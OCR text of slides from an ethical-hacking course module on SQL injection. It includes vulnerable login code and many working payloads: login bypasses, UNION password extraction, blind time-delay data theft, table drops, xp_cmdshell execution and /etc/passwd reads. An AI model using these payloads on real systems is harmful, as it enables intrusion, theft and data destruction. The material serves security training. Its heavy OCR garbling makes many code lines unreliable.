Module 14

Engineered by Hackers. Presented by Professionals.

Certified

Ethical

Hacker

http://cchwn (el EE NEWS

Canified Ethical Hacker 6 -

TREERS http://i-train.com.vn

CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design



SECURITY NEWS

|
December 22, 2010 01:43 PM

InformationWeek

100,000 Credit Cards Compromised By Data Breach

A data breach affecting Twin America, the parent company of CitySights NY, potentially
compromised an estimated 100,000 customers' personal details, including credit card
numbers.

According to a security breach notification letter sent to the New Hampshire attorney
general, as required by that state's laws, attackers successfully exploited a Twin America
Web server by using a SQL injection attack.

The letter, written by Twin America's lawyer, Theodore Augustinos, said that Twin
America first suspected its systems had been breached in late October, "when a Web
programmer discovered [an] unauthorized script that appears to have been uploaded to
the company’s Web server.” The script appeared to have been actively siphoning off
sensitive information from a database stored on the server for about four weeks before
being discovered.

According to the letter, dated Dec. 9, "the database contained cardholder name, address,
e-mail address, credit card number, expiration date, and CWVW2" information. Given that
the tour operator had to issue a data breach notification, it appears that the information
wasn't encrypted, as that typically exempts an organization from having to issue a data
breach notification.

http://www.informationweek.com
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J SQL Injection is the most common Website vulnerability on
the Internet

J Itisaflaw in Web Applications and not a Database or Web
server issue

J Most programmers are still not aware of this threat
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Y Albert Gonzalez, an indicted hacker stole 130 million credit
and debit cards, the biggest identity theft case ever prosecuted E I S
in the United States. He used SQL injection attacks to install
sniffer software on the companies' servers to intercept credit

card data as it was being processed. d @
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SOQL Injection is the Most Prevalent
Vulnerability in 2010

SQL Injection R4

Cross Site Scripting R0
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SOQL Injection Threats

Tamper with o
Database Records

Escalation of

Privileges

5""Denial-of-Service
on the Server

http://ceh.vn
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Voiding Machine's
oCrltlcal Transactlons 3

Complete Disclosure of
:,, all Data on the System

Destruction
of Data
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What is SQL Injection?

SQL injection is a technique used to take advantage of non-
validated input vulnerabilities to pass SQL commands through a
Web application for execution by a backend database

SQL injection is a basic attack used to either gain unauthorized
access to a database or to retrieve information directly from the
database
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SOQL Injection Attacks

Based on the application and how it processes user-supplied data, SQL
Injection can be used to perform the following types of attacks:

[=

@, Authentication Bypass: Using this attack, an attacker logs on to an application
& without providing valid username and password and gains administrative privileges

e

Information Disclosure: Using this attack, an attacker obtains sensitive information
that is stored in the database

Compromised Data Integrity: An attacker uses this attack to deface a web page,
insert malicious content into web pages, or alter the contents of a database

Compromised Availability of Data: Attackers use this attack to delete the database
information, delete log, or audit information that is contained in a database

Remote Code Execution: It allows an attacker to compromise the host operating
system
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How Web Applications "

—

User  Login Form Internet

0S System Calls 4 A
T PP P P PP PP PP TP PP PP PP PRI » Crorernnnnnnnnnnnnnne ) | QGrrnnnnel

Operating System

Web Application

D Topic | News

6329 Tech CNN SELECT * from news where id = 6329
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Server Side Technologies

g . The power of ASP.NET and SQL can
Powerful server-side technologies . > : 7
like ASP.NET and database servers s easily be exploited by hackers
allow developers to create <+ .
dynamic, data-driven Web sites

: =
with incredible ease : “ ‘
: -

using SQL injection attacks

SQL injection attacks do not exploit a
speciﬁc Software vulnerability’ ( .............. "
instead Largel Web sites that do not
follow secure coding practices for
accessing and manipulating data
stored in a relational database

All relational databases SQL

Server, Oracle, IBM DB2,
and MySQL are susceprtible

to SQL-injection attacks
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Post Request

G@ http://juggyboy.com/logon.aspx?username=bart&password=simpson ~ @ rr=rrssBerarcsnannnannns

Account Login

Username ( bart ]

Password Lsimpson ] Submit

When a user provides information and clicks SRS NANSARASE AU ARRANASE AR RS A RRNSA NS ANSE AN
submit, the browser submits a string to the web <form action="/cgi-bin/login"
server that contains the user's credentials method=post> :

This string is visible in the body of the HTTP or Username: <input type=text :
HTTPS POST request as: name=username> 3

Password: <input .
SQL query at the database type=password name=password> :

select * from Users where <input type=submit
(username = 'bart' and value=Login>
password = 'simpson') ; LT
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: Normal SQL Query

O O http://juggyboy.com/BadLogin.aspx Badlogin.aspx.cs
private veoid cmdLogin Click(object sender,

System.EventArgs e)
{ string strCnx =

Boyv.com

localheost;database=northwind;uid=sa;pwd=;";
SglConnection enx = new SglConnection (strlnx) ;

cnx.Open () ;

//This code is susceptible to SQL injection
attacks.

..} string strQry = "SELECT Count(*) FROM
Users WHERE UserName='" + txtUser.Text +
"' AND Password='" + txtPassword.Text +

Springfield

Fi Password?

Submit

mrmwm-
F

int intRecs;

SglCommand cmd = new SqglCommand (strQry, onx);
intRecs = (int) omd.ExecuteScalar();

if (intRecs>0) {
FormsAuthentication.RedirectFromLoginPage (txtUser
.Text, false); } else {

1blMsg.Text = "Login attempt failed."; 1}

Constructed SQL Query sssesrmssess | cnx.close()
}

Web Browser

SELECT Count(*) FROM Users WHERE b
UserName="'Jason' AND Password='Springfield'

Server Side Code (BadLogin.aspx)
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Example 1: SQL Injection Query

EEX

Boy.com

Login

o SLLLELELLIEELY Attacker Launching SQL Injection
Forgol Password?

Submit

SELECT Count(*) FROM Users WHERE UserName='Blah' or 1l=1 --' AND Password='Springfield'

SELECT Count(*) FROM Users WHERE UserName='Blah' or 1l=1

SQL Query Executed

--' AND Password='Springfield'

Code after — = are comments
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Example 1: Code Analysis

A user enters a user name and
password that matches a
record in the Users table

A dynamically generated SQL
query is used to retrieve the
number of matching rows

The user is then authenticated
and redirected to the
requested page

When the attacker enters blah® or 1=1
-- then the SQL query will look like:
SELECT Count(*) FROM

Users WHERE
UserName='blah' Or 1=1 --
' AND Password='"

Because a pair of hyphens designate
the beginning of a comment in SQL,
the query simply becomes:
SELECT Count(*) FROM
Users WHERE
UserName='blah' Or 1=1

string strQry = "SELECT Count(*)
FROM Users WHERE UserName='" +
txtUser.Text + "' AND Password='""
+ txtPassword.Text + "'";
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Example 2: BadProductList.aspx

_J This page displays products from
the Northwind database and
allows users to filter the

O O http://juggybaoy.com/BadProductList.aspx
resulting list of products using a

private void cmdFilter Click(ocbject sender, System.EventArgs &) { texthox called txtFilter
dgrProducts . CurrentPageIndex = 0;
bindDataGrid(); }

private void bindDataGrid() {
dgrProducts .DataSource = createDataView() !
dgrProducts .DataBind() ; }

private DataView createDataView() { -J Like the .DI'E‘JIOLIS ex:ample )

string strCnx = (BadLogin.aspx), this code is

"seryer=localhost ;uid=sa:pwd=:database=northwind;" vulnerable to SQL injection
string strSQL = "SELECT ProductId, ProductName, " + attacks

"OuantityPerUnit, UnitPrice FROM Products":
J//This code is susceptible to SQL injection attacks.
if (txtFilter.Text.Length > 0) {

str5QL += " WHERE FroductName LIEE '" + txtFilter.Text +

SglConnection cnx = new SglConnection (strCnx); ]
SglDataldapter sda — new SglDataAdapter (strSQL, onx): _) The executed 5QL is
DataTable dtProducts = new DataTable() ; construc‘ted dyna mica"v
sda.Fill (dtProducts) : from a user supplied input

return dtProducts.DefaultView: Attack Occurs Here
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Example 2: Attack Analysis

EEX
OO http://juggyboyshop.com

w =)
% JuceyBovySHOP.cOM B

LTSS
Search for Products [ '

Attacker Launching
SQL Injection

pass1234

Jhonson qwertyabed

Suzanne asd@1234

v blah' UNION Select 0, username,
Usernames and Passwords are

password 0 from users --
displayed

SQL Query Executed

SELECT ProductId, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE
ProductName LIKE 'blah' UNION Select 0, username, password 0 from users --

Cortiiad | Ethiral Haiber
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: Updating Table

DO v nzweoveom |

j%\ JuceyBov.com

Forgot Password

Email Address

Your password will be sent to your
registered email address
blah'; UPDATE ijb-customers SET jb-email =
'infoljuggyboy.com' WHERE email ='jasonfspringfield.com;

SQL Query Executed
SELECT jb-email, jb-passwd, jb-login id, jb-last name FRCOM members
WHERE jb-email = 'bklah'; UPDATE jb-customers SET jb-email =

'infoljuggyboy.com' WHERE email ='jasonlspringfield.com; --';

CIEH

Coriihod || Erhlual  Riibor
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: Adding New Records
@®® © mIrTT— OO

Forgot Password

Email Address

Your password will be sent to your
registered email address

blah'; INSERT INTO Jjb-customers ('jb-email','jb-passwd','jb-
login id',"jb-last name') VALUES
(' Jasonéspringfield.com', 'hello', "Jjason’, "jason springfield');--

SQL Query Executed

SELECT Jjb-email, jb-passwd, jb-login_id, jb-last name FROM members
WHERE email = 'blah'; INSERT INTO jb-customers ('jb-email',’'jb-passwd', 'jb-login_id','jb-
last_name') VALUES ('Jjasonfspringfield.com', 'helle', 'jason', jason springfield') --';
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o ° 0 @ http://juggyboy.com

& JuceyBov.com

Forgot Password

Email Address [

Attacker Launching SQL Injection

Your password will be sent to your
registered email address

blah' AND 1=(SELECT COUNT(*) FROM mytable); --

¢

You will need to guess table names here saL IniECtion Vulnerable Website

SQL Query Executed

SELECT jb-email, jb-passwd, jb-login_id, jb-last name FROM table WHERE Jb-
email = 'blah' AND 1=(SELECT COUNT (*) FROM mytable); --';
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: Deleting a Table
> A Q

|

JuceyBov.com

Forgot Password

Email Address

Your password will be sent to your
registered email address

SQL Query Executed
jb-passwd, Jjb-login id, Jjb-last name FROM members
DROP TABLE Creditecard; --';

SELECT jb-email,
WHERE jb-email = 'blah';
Copyright @ by
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SOL Injection Detection

STEP 1: Check if the web
application connectstoa
Database Server in order

- to access some data

messages provide a wealth
of information to an :
attacker in order to

STEP 5: The UNION
operator is used in SQL
. injections to join a query
-, to the original query

fields, hidden fields, and
post requests whose
values could be used in

STEP 4: Trytoinsert a = STEP 3: Attempt to
string value where a : inject codes into the
number is expected in _ 1 input fields to

~ the input field v . generate an error
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SOL Injection Error Messages

Attempt to inject codes into the input
fields to generate an error
a single quote {'}’ a semicolon (;] . Microsoft OLE DB Provider for ODBC Drivers
comments (--), AND, and OR error '80040el4’

________ > [Microsoft] [ODBC SQL Server Driwver] [SQL
Server]Unclosed gquotation mark before the
character string ''.

/shopping/buy.aspx, line 52

L
.
-
-
-

-

- Ll
FIAER. L LA BRBRS

Microsoft OLE DB Provider for ODBC Drivers

error '80040e07' [Microsoft] [ODBC SQL
e R Server Driver] [SQL Server]Syntax error

converting the wvarchar wvalue 'test' to a

Try to insert a string value column of data type int. /visa/credit.aspx,
where a number is expected line 17

in the input field

If applications do not provide detailed error messages and return a simple "500 Server Error' or a custom error page then attempt blind injection techniques
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SOQL Injection

1 or "

Character String Indicators

?Parami=foo&Param2=bar URL Parameters
-- or # Single-line comment Useful as non
/*.*/  Multiple-line comment

transactional command
@variable

Addition, concatenate (or space in url)

Local variable
@@variable
Il

Global variable
(Double pipe) concatenate

waitfor delay '0:0:10' Time delay
Wildcard attribute indicator

_ Displays SQL server
Eeverslon version
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Additional Methods to Detect
SQL Injection

Example of Function
Testing

http://juggyboy/? parameter=123

= - [l ] —1'
= uzzing Testi ng http://juggyboy/?parameter=1
http://juggyboy/?parameter=1'#
http://juggyboy/?parameter=1"
It is SQL injection testing )
technique used to discover : http://juggyboy/?parameter=1 AND 1=1—
coding error by inputting _ *  http://jugeyboy/?parameter=1'-
massive amount of data to ]
crash web application http://juggyboy/?parameter=1 AND 1=2--

http://jugeyboy/?parameter=1'/*
http://juggyboy/?parameter=1' AND '1'="1

:  http:/ljuggyboy/?parameter=1 order by
~ 1000 g
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SQL Injection Black Box Pen Testing

@ Detecting SQL Injection Issues @ Detecting Input Sanitization

@ Send single quotes as the input data to catch Use right square bracket (the ] character) as
instances where the user input is not ~ B the input data to catch instances where
sanitized 7 the user input is used as part of a SQL
' identifier without any input

@ Senddouble quotes as the input il
sanitization

data to catch instances where
the user input is not sanitized

Detecting SQL Detecting Truncation

[

Modification Issues

8 Send long strings of single quote Send long strings of junk data, just
characters (or right square brackets as you would send strings to detect

or double quotes). These max out the buffer overruns; this action might
return values from REPLACE and throw SQL errors on the page

QUOTENAME functions and might truncate the
command variable used to hold the SQL statement
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Testing for SQL Injection

s

Testing String
!

1'or'1'="1
value' or '1'="2
1'and '1'='2

1' or 'ab'="a'+'b
1'or'ab'="a''b

1'or'ab'="a'||'b

Variations
Single code
1')or('1'="1

value') or ('1'="2
1') and (‘1'="2

1') or ('ab'="a"+'b

1Y) or('ab'="a''b

1')or ('ab'="a'| |'b

Testing String
';[SQL Statement];--
[SQL Statement];#
;[SQL Statement];--

;[SQL Statement];#

Variations

');[SQL Statement];--

);[SQL Statement];#

);[SQL Statement];-—

);[SQL Statement];#

Testing String

's drop table
users—

1+1

value +0

lori=1

value or 1=2

1and 1=2

1or'ab'="a'+'b’'

1or'ab'="a''b'

1or'ab'="a'||'b'

Variations

1) or (1=1

value) or (1=2

1) and (1=2

1) or (‘ab '="a'+'b’

1) or(‘'ab'='a''b

1) or (‘ab'="a'| |'b’

Testing String

admin'--

admin' #

1--

1ori=1--

‘or'1'='1"-

Variations

admin')--

admin')#

1=

1) or1=1--

u) or'1'="1"-

Testing String

-1and 1=2-

'and '1'='2'--

1/*comment*/

Variations

-1) and 1=2--

‘)and '1'="2"--
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Testing for SQL Injection

Testing String
|16
‘1'e
(116)
'OR 1=1--
OR 1=1
'OR'1'="1
; OR'1'="1'
%27 +--+
"or 1=1--

‘orl1=1/*

Testing String
or 1=1--
"or"a"="a
Admin'OR'

' having 1=1--

' OR 'text' = N'text'
'OR2>1

'OR 'text' > 't'

' union select

Password:*/=1--

‘or1/*

Testing String

%22+or+isnull%281%2F0%29+%2F*

' group by userid having 1=1--

'; EXECUTE IMMEDIATE 'SEL' | | 'ECT
Us' || 'ER’

CRATE USER name IDENTIFIED BY
'pass123'

' union select
1,load_file('/etc/passwd'),1,1,1;

'; exec master..xp_cmdshell 'ping
10.10.1.2'--

exec sp_addsrvrolemember 'name’,
'sysadmin’

GRANT CONNECT TO name; GRANT
RESOURCE TO name;

' union select * from users where login
= char(114,111,111,116);

Testing String
'/t*/oR/*t/I/tt/=
/*1/1

'or 1in (select
@@version)--

' union all select
@@version--

' OR 'unusual' =
‘unusual’

' OR 'something' =
'some'+'thing’

' OR 'something'
like 'some%'

' OR 'whatever' in
('whatever')

‘OR 2 BETWEEN 1
and 3

' or username like
char(37);

Testing String

UNI/**/ON
SEL/**/ECT

'; EXEC ('SEL' + 'ECT
Usl + .ER')
+or+isnull%281%2F
0%29+%2F*

%27+0R+%277659
%27%3D%277659

%22+or+isnull%281
%2F0%29+%2F*

'and 1in (select
var from temp)--

' ; drop table temp

exec sp_addlogin
'name’ , 'password'

@var select @var
as var into temp
end -
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Module Flow

SQL Injection
Concepts

SQL Injection
Testing for SQL Methodology
Injection Blind SQL
Injection
Types of SOL Advanced SQL
Injection

Injection

SQL Injection
Tools
Evasion
Techniques

Countermeasures
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Types of SQL Injection

B N
sQL

Injection

W

/

/ simple saL Blind SQL ,/@\'*@

e

Injection / Injection /

gy

/
/UNION SQL Error Based

Injection / SQL Injection
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Simple SQL Injection Attack

Union Query

“UNION SELECT” statement
returns the union of the
intended dataset with the

System Stored Procedure

Attackers exploit databases' stored

procedures to perpetrate their

attacks

End of Line Comment

After injecting code into a
particular field, legitimate code
that follows is nullified through

usage of end of line comments

target dataset & S

SELECT Name, Phone, Address -v 5 _L”'} 4 SELECT * FROM user WHERE
FROM Users WHERE Id=1 UNION " ’ name = 'x' AND userid IS
ALL SELECT - i NULL; --';
creditCardNumber,1,1 FROM

CreditCardTable

Tautology Illegal/Logically Incorrect Query

Injecting statements that are always true so that
queries always return results upon evaluation of a
WHERE condition

SELECT * FROM users WHERE name = '' OR '1'="1";

An attacker may gain knowledge by injecting
illegal/logically incorrect requests such as injectable

naramatorc  data tvnac nameaec af tahlac ot .
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SOQL Injection Error Based

Extract Database Name Extract 1st Database Table
http://juggyboy.com/page.aspx?id=1 or http://juggyboy.com/page.aspx?id=l or
l=convert(int, (DB_NAME) )-— l=convert (int, (select top 1 name from

Syntax error converting the nvarchar value '[DB NAME]' syscbjects where xtype=char(85)))—

to a column of data type int. Syntax error converting the nvarchar value '[TABLE NAME 1]'
to a column of data type int.

Extract 1st Table Column Name Extract 1st Field Of 1st Row (Data)
http://juggyboy.com/page.aspx?id=1 or http://juggyboy.com/page.aspx?id=1 or
l=convert(int, (select top 1 column_name l=convert(int, (select top 1 COLUMN-
from DBNAME.information_ schema.columns NAME-1 from TABLE-NAME-1))—

where table name='TABLE-NAME-1'))— )
- ») Syntax error converting the nvarchar value

Syntax error converting the nvarchar value '[FIELD 1 WVALUE]" to a column of data type int.
[COLUMN NAME 1]' to a column of data type int.
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Module Flow

SQL Injection
Concepts

SQL Injection
Testing for SQL Methodology
Injection Blind SQL
Injection
Types of SQL ; Advanced SQL
Injection ‘

Injection

SQL Injection
Tools
Evasion
Techniques

Countermeasures
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What is Blind SQL Injection?

No Error Message Generic Page _

Blind SQL injection is This type of attack can
identical to normal SQL become time-intensive
Injection except that when because a new statement
an attacker attempts to must be crafted for each

exploit an application bit recovered
rather than seeing a useful

error message, a generic
custom page is displayed

An attacker can still steal data by asking a series of
True and False questions through SQL statements
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No Error Messages Returned

SQL Injection Attack

CLTELEYTERTTYS = JuggyBoy'; drop table Orders --

\ 4 A4
Blind SQL Injection (Attack Successful) Simple SQL Injection
“« > n 0 ’

@® @6 oyrrrrE—— OO®

Microsoft OLE DB Provider for
ODBC Drivers error '80040el4’
[Microsoft] [ODBC SQL Server
Driver] [SQL Server]Unclosed

quotation mark before the
We are unable to process

character string ''.

/shopping/buy.aspx, line 52
your request. Please try
back later.
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Blind SQL Injection: WAITFOR DELAY
YES or NO Response

IF EXISTS (SELECT * FROM creditcard)

’

WAITFOR DELAY '0:0:10'--

&
‘ o Check if database

SRR, S sk e
A We are unable to
process your request.
Please try back later.

Since no error messages are returned,
use 'waitfor delay' command to
check the SQL execution status

MR : WAIT FOR DELAY 'time’ (Seconds)
w This is just like sleep, wait for specified time.
: CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
: BENCHMARK() (Minutes) : We are unable to
This command runs on MySQL server. process your request.
BENCHMARK (howmanytimes, do this) Please try back later.
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Blind SQL Injection — Exploitation (MySQL)

Searching for the first character
of the first table entry

/?id=1+AND+555=if (ord (mid( (select+pass+£from

users+limit+0,1),1,1))=|97,555,777) Searching for the second character
: of the first table entry

/?id=1+AND+555=if (ord (mid ( (select+pass

from+users+1limit+0,1) ,2,1))=|97,555,777)

v 7
If the table “users” contains a column “pass” and the first ‘
character of the first entry in this column is 97 (letter “a”),
then DBMS will return TRUE; otherwise, FALSE.

If the table “users” contains a column
“pass” and the second character of the
first entry in this column is 97 (letter
«a») , then DBMS will return TRUE;
otherwise, FALSE.
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Blind SQL Injection - Extract Database User

Finding a full username of 8 characters using binary search method takes 56 requests

Check for username length .
http://juggyboy.com/page.aspx?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- J

http://juggyboy.com/page.aspx?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--

Check if 1t character in username contains 'a’ (a=97), 'b’, or 'c’ etc.
http: //juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((USER),1,1))}=97)

http: //juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((USER),1,1)))=98)
http: //juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((USER),1,1)))=99)

Check if 2" character in username contains 'a’ (a=97), 'b’, or 'c' etc.

http://jnggyboy . com/page . aspx?id=1; IF (ASCII (lower (substring((USER),2,1)))=97) WAITFOR DELAY '00:00:10'--
http://juggyboy. com/page.aspx?id=1; IF (ASCII (lower (substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((USER),2,1)))=99) WAITFOR DELAY '00:00:10'--

Check if 3 character in username contains 'a’' (a=97), 'b’, or 'c' etc.

http: //juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((USER),3,1)))=97)
http: //juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((USER),b3,1))}=98)
http: //juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((USER),3,1)))=99)
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Blind SQL Injection - Extract Database Name

Check for Database Name Length and Name

http://juggyboy.com/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((DB NAME()),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((DB NAME()),2,1)))=98) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((DB NAME()),3,1)))=99) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((DB NAME()),4,1)))=100) WAITFOR DELAY '00:00:10'--

Database Name = ABCD

— — g,

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype='U')=3) WAITFOR DELAY
'00:00:10"'——

http://juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)) ,1,1)))=101) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower (substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),2,1)))=109) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII (lower (substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)) ,3,1)))=112) WAITFOR DELAY '00:00:10'--

Table Name = EMP
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Blind SQL Injection - Extract Column Name

http://juggyboy.com/page . aspx?id=1; IF (LEN(SELECT TOP 1 column name from ABCD.information schema.columns
where table_pam3='EHP'}=3) WAITFOR DELAY '00:00:10'—-

http://juggyboy. com/page . aspx?id=1; IF (ASCII(lower (substring((SELECT TOP 1 column name from
ABCD.information_;chema.columns where table_name='EHP'),1,1)))=101) WAITFOR DELAY '00:00:10'——
http://juggyboy. com/page . aspx?id=1; IF (ASCII(lower (substring((SELECT TOP 1 column name from
ABCD.information_;chema.columns where table_name='EHP'),2,1)))=105) WAITFOR DELAY '00:00:10'——
http://juggyboy. com/page . aspx?id=1; IF (ASCII(lower (substring((SELECT TOP 1 column name from
ABCD.information_;chema.columns where table_name='EMP'),3,1)))=lOD) WAITFOR DELAY '00:00:10'——

Column Name = EID (\—) ‘ U ‘ ‘ ‘ ‘ ‘
\ | l

Extract 2nd Table Column Name

http: //juggyboy.com/page . aspx?id=1; IF (LEN(SELECT TOP 1 column name from ABCD.information schema.columns where
table name='EMF' and column name>'EID')=4) WAITFOR DELAY '00:00:10'--

http: //Jjuggyboy.com/page . aspx?id=1; IF (ASCII (lower (substring( (SELECT TOP 1 column name from

ABCD.information schema.columns where table name='EMP' and column name>'EID') ,1,1)))=100) WAITFOR DELAY '00:00:10'--

http: //juggyboy.com/page . aspx?id=1; IF (ASCII (lower (substring( (SELECT TOP 1 column name from
ABCD.informaticn schema.columns where table name='EMP' and column name>'EID') ,2,1)))=101) WAITFOR DELAY '00:00:10'-—-

http: //juggyboy.com/page . aspx?id=1; IF (ASCII (lower (substring( (SELECT TOP 1 column name from
ABCD.informaticn schema.columns where table name='EMP' and column name>'EID') ,3,1)))=112) WAITFOR DELAY '00:00:10'--

http: //juggyboy.com/page . aspx?id=1; IF (ASCII (lower (substring((SELECT TOP 1 column name from
ABCD.information schema.columns where table name='EMP' and column name>'ETID') ,4,1)))=116) WAITFOR DELAY '00:00:10'--

Column Name = DEPT
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http:

Blind SQL Injection - Extract Data from ROWS

Extract 1st Field of 1st Row
http://juggyboy.com/page.aspx?id=1;
http://juggyboy.com/page.aspx?id=1;
DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1;
DELAY '00:00:10'—-

http://juggyboy.com/page . aspx?id=1;
DELAY '00:00:10'-—-

Field Data = JOE

http://juggyboy.com/page . aspx?id=1;
http://juggyboy.com/page . aspx?id=1;
WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page .aspx?id=1;
WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1;
WAITFOR DEILAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1;
WAITFOR DELAY '00:00:10'--

Field Data = COMP

IF
IF

IF

IF

IF
IF

e

IF

IE

(LEN (SELECT TOP 1 EID from EMP)=3) WAITFOR DELAY '00:00:10'--

(ASCII (substring( (SELECT TOP 1 EID from EMP) ,1,1))=106)

(ASCII (substring((SELECT TOP 1 EID from EMP),2,1))=111)

(ASCII (substring((SELECT TOP 1 EID from EMP) ,3,1))=101)

i3

(LEN (SELECT TOP 1 DEPT from EMP)=4)
(ASCII (substring( (SELECT TOP 1 DEPT

(ASCII (substring( (SELECT TOP 1 DEPT
(ASCII (substring((SELECT TOP 1 DEPT

(ASCII (substring((SELECT TOP 1 DEPT

WAITFOR
WAITFOR

WAITFOR
| ——

WAITFOR DELAY '00:00:10'--
from EMP) ,1,1))=100)

from EMP) ,2,1))=111)
from EMP) ,3,1))=109)

from EMP) ,3,1))=112)
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Module Flow

SQL Injection
Concepts

SQL Injection
Testing for SQL Methodology
Injection Blind SQL
Injection
Types of SQL Advanced SQL
Injection

Injection

SQL Injection
Tools
Evasion
Techniques

Countermeasures
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SOL Injection Methodology

0‘__““.;]"' ‘ ; %}
&4

Information : SQL Injection B % Launch SQL
Gathering i Vulnerability Detection . i Injection Attacks

9 : y P Interact with the
-’ xtract the Data ' | Operation System
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Information Gathering SQL Injection Vulnerability Detection

List all input Attempt to inject :':;r ﬂla{g& !;}'
’ 2 fields, hidden codes into the input field

: : fields, and post input fields to An error means
: requests generate an error vulnerable

Perform blind Perform error based SQL injection

(Waitfor Delay) SQL

injection Perform union based SQL injection

Launch SQL Injection Attacks

Penetrate additional Extract OS and
; { | application passwords | : : | Extract table names,
machines on the H :
) ) : 3 column name, and
network, install Trojans & d - : :
i : | Accesssystem filesand | : table data
and plant keyloggers ] E d 1
i : execute commands : :
Compromise the Network Interact with the OS Extract the Data
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Module Flow

SQL Injection
Concepts

SQL Injection
Testing for SQL Methodology
Injection Blind SQL
Injection
Types of SQL Adva.nce.d saL

Iniecti o Injection

njection -
SQL Injection
Tools
Evasion
Techniques

Countermeasures
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Information Gathering

Error.
Authentication failed.
Please try again.

V

/

Error messages are essential for
extracting information from the
database. Depending on the type
of errors found, you can vary the
attack techniques

Database Types

Different databases require
different SQL syntax.
Identify the database
engine used by the server

MySaL

—
|

Understanding the underlying
SQL query will allow the
attacker to craft correct SQL
injection statements

Privilege Level

Identify the privilege level
used by the database. Are
you logged on as user, DBA,

or sysadmin? = \
™

Interacting with the operating
system through command
shell execution allows you to
compromise the entire

e
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Extracting Information through
Exrror Messages

( Grouping Error :ZI

. Try to insert strings into numeric fields; the error messages will show the data that
Type Mismatch could not get converted

union select 1,1, 'text',1,1,1 - -

union select 1,1, bigint,1,1,1 - -

I ) i Use time delays or error signatures to determine extract information
Blind Injection

; if condition waitfor delay '0:0:5°
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Understanding SOL Query
s

Most injections will land in the middle of a
SELECT statement. In a SELECT clause we almost
always end up in the WHERE section.

SELECT * FROM table WHERE x =

'normalinput' group by x having

1=1 -- GROUP BY x HAVING x = y
, ORDER BY x

Determining Database o :‘
Engine Type

Determining a SELECT
l Query Structure

Mostly the error messages will show you
what DB engine you are working with

ODBC errors will display database type as
part of the driver information

If you do not receive any ODBC error
message, make an educated guess based on
the Operating System and Web Server

http://cchwn (el EE NEWS

Canified Ethical Hacker

© @
Try to replicate an error free navigation

Could be as simple as or

Generate specific errors

Determine table and column names

Do we need parenthesis? Is it a subquery?

e

)

- 4
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Bypass Website Logins Using SQL Injection

‘—1\f"\ 3

Try these at website login forms —

\ /&
admin' -- MC,
admin' # :
admin'/*

' or 1l=1--
or 1=1%
' or 1=1/%*
oY Mlt="1--
UOI (T = ==

MD5 Hash Password

You can union results with a
known password and MD5 hash
of supplied password

The Web Application will
compare your password and the
supplied MDS5 hash instead of

MDS5 from the database
e

Login as different User:

' UNION SELECT 1,
'anotheruser’,
'doesnt matter', 1--

Bypassing MD5 Hash Check Example <

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',

81dcS9bdb52d04dc20036dbd8313ed055 = MDS (1234)

'81dc9bdb52d04dc20036dbd8313ed055
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Database, Table, and Column Enumeration

There are several SQL built-in scalar functions that will Default administrator accounts include sa, system, sys,
work in most SQL implementations: dba, admin, root and many others
user or current_user, session_user, system_user

The dbo is a user that has implied permissions to
and 1 in (select user ) -- perform all activities in the database.

'i if user ='dbo' waitfor delay '0:0:5 '-—- Any object created by any member of the sysadmin fixed

' union select if( user() like 'root@s’, server role belongs to dbo automatically

benchmark (50000,shal ('test')), 'false' );

Determine table and column names MS SQL

SELECT name FROM syscolumns WHERE SELECT ¥ FROM syscat.columns
id = (SELECT id FROM sysobject= WHERE tabname= 'tzablesname '
. WHERE name = ‘'tablename ')
Discover column name es

A typ sp_columns tablename Postgres
union select sum(cclumnname ) from tablename -- MysaL SELECT attnum,attname from

. pg_class, pg_attribute
Enumerate user defined tables show columns from tablename e iR s

' group by columnnames having 1=1 —-
' and 1 in (select min(name) from sysobjects Oracle

where xtype = 'U’' and name > '.') -- SELECT * FROM all_tab_columns
= WHERE table_name='tablenams '
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Advanced Enumeration

© MS Access @ ) ®
SYS.USER_OBIECTS MsysACEs mysql.user sysohjects
SYS.TAB, SYS.USER_TEBLES .
SYS.USER_VIEWS MsysObjects mysql.host syscolumns
SYS.ALL_TABLES MsysQueries mysql.db systypes
SYS.USER_TAB_COLUMNS 5 )
SYS.USER_CATALOG MsysRelationships sysdatabases
Microsoft
2 Server
Tables and ' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' +
columns systypes.name, 1, 1, '1*, 1, 1, 1, 1, 1 from sysobjects, syscolumns,
enumeration systypes where sysobjects.xtype = "U' BAND sysobjects.id = syscolumns.id AND
in one query syscolumns.xtype = systypes.xtype --—

Different databases in Server

Database ' and 1 in (select min(nams ) from master.dbo.sysdatabasss where nams >'.' | -—-
